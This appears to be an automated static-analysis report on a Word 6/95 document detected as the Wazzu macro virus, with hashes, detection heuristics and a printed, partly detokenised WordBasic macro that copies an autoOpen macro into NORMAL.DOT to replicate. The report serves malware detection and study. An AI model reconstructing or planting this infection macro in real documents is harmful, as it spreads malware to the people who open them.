Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28ca9079cf80ced6…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: ed87b39f0540dba26e373d7e9ee03c4d SHA-1: ce42dabada1e0cd5f2f5dc8ede06664b91f92182 SHA-256: 28ca9079cf80ced69641fd0571fb1ff5479987efa64839d2b192b21e06c25f65
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and ClamAV detection as 'Doc.Trojan.Wazzu-6'. The document body contains explicit references to this marker and mentions 'Wazzu', indicating a known, albeit old, malware family. The presence of legacy WordBasic macro virus markers strongly suggests the file's purpose is to execute malicious macro code.

Heuristics 3

  • ClamAV: Doc.Trojan.Wazzu-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 568 bytes
SHA-256: 6665ad4076ce8f3d651945348db55b0044b2308222e3f76cda20d011d6f656a4
Preview script
First 1,000 lines of the extracted script
* , ,     29801  
MAIN
, - * errCaught
REM ====================================================================
*           25449
  8289           27492        
    25972
REM 										Gato Xadrez
REM ====================================================================
@cmd0056
dlg @cmd0056
dlg
fileMacro$ = dlg = "\" = dlg @cmd0700 ":autoOpen"
globMacro$ = "Global:autoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 globMacro$ , fileMacro$ , 0
@cmd0054 = 1
@cmd80c2 fileMacro$ , globMacro$ , 0
* bye
@cmd7468
, - * 0

Open this report in the interactive analyzer, or submit your own file for analysis.